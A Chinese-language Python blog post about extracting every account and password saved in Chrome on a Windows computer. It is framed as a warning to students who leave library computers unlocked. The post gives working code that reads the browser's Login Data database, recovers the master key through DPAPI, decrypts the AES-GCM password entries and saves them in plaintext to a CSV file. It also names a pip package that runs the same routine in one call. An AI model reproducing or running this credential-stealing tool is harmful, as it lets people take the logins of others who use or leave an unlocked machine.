Python 一键获取电脑浏览器的账号密码


Posted in Python onMay 11, 2022

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

Python 一键获取电脑浏览器的账号密码

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

Python 一键获取电脑浏览器的账号密码

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

Python 一键获取电脑浏览器的账号密码

获得的结果默认保存在results.csv中,截图如下:

Python 一键获取电脑浏览器的账号密码

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了!

Python 相关文章推荐
python通过定义一个类实例作为ftp回调方法
May 04 Python
python使用fork实现守护进程的方法
Nov 16 Python
VTK与Python实现机械臂三维模型可视化详解
Dec 13 Python
Flask解决跨域的问题示例代码
Feb 12 Python
对Python中list的倒序索引和切片实例讲解
Nov 15 Python
python绘制规则网络图形实例
Dec 09 Python
在Tensorflow中实现梯度下降法更新参数值
Jan 23 Python
Tensorflow 使用pb文件保存(恢复)模型计算图和参数实例详解
Feb 11 Python
Python简单实现词云图代码及步骤解析
Jun 04 Python
pytorch 移动端部署之helloworld的使用
Oct 30 Python
如何基于Python和Flask编写Prometheus监控
Nov 25 Python
python数据库批量插入数据的实现(executemany的使用)
Apr 30 Python
图神经网络GNN算法
May 11 #Python
python神经网络ResNet50模型
May 06 #Python
python和anaconda的区别
May 06 #Python
python神经网络Xception模型
May 06 #Python
Python使用永中文档转换服务
May 06 #Python
Python tensorflow卷积神经Inception V3网络结构
May 06 #Python
Python实现Matplotlib,Seaborn动态数据图
May 06 #Python
You might like
一个简单且很好用的php分页类
2013/10/26 PHP
PHP实现的json类实例
2015/07/28 PHP
基于CI框架的微信网页授权库示例
2016/11/25 PHP
PHP微信开发之微信录音临时转永久存储
2018/01/26 PHP
php ajax confirm 删除实例详解
2019/03/06 PHP
Discuz不使用插件实现简单的打赏功能
2019/03/21 PHP
javascript prototype,executing,context,closure
2008/12/24 Javascript
ScrollDown的基本操作示例
2013/06/09 Javascript
js与C#进行时间戳转换
2014/11/14 Javascript
利用JS轻松实现获取表单数据
2016/12/06 Javascript
详解Nodejs基于mongoose模块的增删改查的操作
2016/12/21 NodeJs
Vue.js开发环境快速搭建教程
2017/03/17 Javascript
jq checkbox 的全选并ajax传参的实例
2017/04/01 Javascript
JavaScript实现简单的树形菜单效果
2017/06/23 Javascript
JavaScript之浏览器对象_动力节点Java学院整理
2017/07/03 Javascript
浅谈JS中的常用选择器及属性、方法的调用
2017/07/28 Javascript
vue.js实现的绑定class操作示例
2018/07/06 Javascript
layui select获取自定义属性方法
2018/08/15 Javascript
vue-router的HTML5 History 模式设置
2018/09/08 Javascript
Python Paramiko模块的安装与使用详解
2016/11/18 Python
Python实现随机生成有效手机号码及身份证功能示例
2017/06/05 Python
Django 导出 Excel 代码的实例详解
2017/08/11 Python
vscode 远程调试python的方法
2017/12/01 Python
python的dataframe和matrix的互换方法
2018/04/11 Python
Python 3.6 读取并操作文件内容的实例
2018/04/23 Python
python 判断参数为Nonetype类型或空的实例
2018/10/30 Python
搞清楚 Python traceback的具体使用方法
2019/05/13 Python
python实现快速文件格式批量转换的方法
2020/10/16 Python
python UIAutomator2使用超详细教程
2021/02/19 Python
纯css3实现的动画按钮的实例教程
2014/11/17 HTML / CSS
博士生入学考试推荐信
2013/11/17 职场文书
高二政治教学反思
2014/02/01 职场文书
离婚协议书范本(2014版)
2014/09/28 职场文书
个人公司授权委托书范本
2014/10/12 职场文书
2016年先进班集体事迹材料
2016/02/26 职场文书
工作一年自我鉴定
2019/06/20 职场文书